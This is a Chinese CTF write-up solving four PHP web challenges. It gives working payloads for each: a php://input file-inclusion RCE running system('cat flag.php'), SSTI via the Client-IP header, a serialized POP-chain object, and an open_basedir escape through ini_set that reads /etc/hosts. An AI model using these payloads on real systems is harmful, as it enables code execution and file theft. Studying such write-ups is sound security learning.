Easy_include
<?php
error_reporting(0);
//flag in flag.php
$file=$_GET['file'];
if(isset($file))
{
if(!preg_match("/flag/i",$file))
{
include($file);
}
else
{
echo("no no no ~ ");
}
}
else
{
highlight_file(__FILE__);
}
?>
可以使用php伪协议实现rce
pyload: GET传参 file=php://input
Post-data: <?php system('cat flag.php');?>

Web_IP
/flag.php页面会返回用户IP,将http头Client-ip修改下,果然发现显示ip发生变化了
用Wappalyzer发现是php语言写的,尝试ssti注入{{1+1}},成功了,于是直接rce

Web_pop
<?php
error_reporting(0);
highlight_file(__FILE__);
class Start{
public $name;
protected $func;
public function __destruct()
{
echo "Welcome to QHCTF 2025, ".$this->name;
}
public function __isset($var)
{
($this->func)();
}
}
class Sec{
private $obj;
private $var;
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo file_get_contents('/flag');
}
}
class Easy{
public $cla;
public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}
class eeee{
public $obj;
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}
if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}
是一道反序列化的题目,网上甚至可以搜到原题
payload : O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";O:4:"eeee":1:{s:3:"obj";r:1;}}s:3:"var";r:4;}s:4:"func";r:2;}
这里整理一下一些php反序列化中的常见的知识点
private属性序列化的时候格式是 %00类名%00成员名
protected属性序列化的时候格式是 %00*%00成员名
关键要点:
在Private 权限私有属性序列化的时候格式是 %00类名%00属性名
在Protected 权限序列化的时候格式是 %00*%00属性名
魔法方法 | 作用 |
__construct() | 当对象创建时会自动调用(但在unserialize()时是不会自动调用的) |
__destruct() | 当对象被销毁时会自动调用 |
__call() | 在对象中调用不可访问的方法时触发 |
__callStatic() | 在静态中调用不可访问的方法时触发 |
__get() | 用于从不可访问的属性读取数据 |
__set() | 用于将数据写入不可访问的属性 |
__isset() | 在不可访问的属性上调用isset()或empty()触发 |
__unset() | 在不可访问的属性上使用unset()时触发 |
__invoke() | 当脚本尝试将对象调用为函数时触发 |
__wakeup() | unserialize()时会自动调用 |
__sleep() | 执行serialize()时,先会调用这个函数 |
__toString() | 当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用 |
这个 __toString 触发的条件比较多,也因为这个原因容易被忽略,常见的触发条件有下面几种
(1)echo ($obj) / print($obj) 打印时会触发
(2)反序列化对象与字符串连接时
(3)反序列化对象参与格式化字符串时
(4)反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
(5)反序列化对象参与格式化SQL语句,绑定参数时
(6)反序列化对象在经过php字符串函数,如 strlen()、addslashes()时
(7)在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
(8)反序列化的对象作为 class_exists() 的参数的时候
PCREMagic
<?php
function is_php($data){
return preg_match('/<\?php.*?eval.*?\(.*?\).*?\?>/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
if (!is_dir($user_dir)) {
mkdir($user_dir, 0755, true);
}
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
exit;
}
?>
这道题乍一看是一个配备了一句话木马waf的临时文件上传的题目,但是深入探索后发现环境有很多限制
首先可以搭建一个简单的文件上传脚本
<form action="Your-target-url" enctype="multipart/form-data" method="post">
<input name="file" type="file" />
<input type="submit" value="upload" />
</form>
上传<?php phpinfo();?>查看环境,找到关键信息,发现system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,
dl,set_time_limit,ignore_user_abort,symlink,link,error_log很多函数都被禁用了,并且环境设置open_basedir:/tmp/:/var/www/无法直接目录跳转到根目录
网上搜寻资料找到可以用glob('*')来替代ls的功能,并且用ini_set强行修改环境设置中的open_basedir,使得可以访问根目录,于是构造payload读取flag:
<?php
print_r(ini_get('open_basedir').'<br>');
mkdir('test');
chdir('test');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
echo file_get_contents('/etc/hosts');
print_r(ini_get('open_basedir').'<br>');
// chdir('../');
echo getcwd() . "\n";
print_r(glob('*'));
echo file_get_contents('flag');
?>
参考:『CTF Tricks』PHP-绕过open_basedir_directoryiterator php ctf-CSDN博客
Comments | NOTHING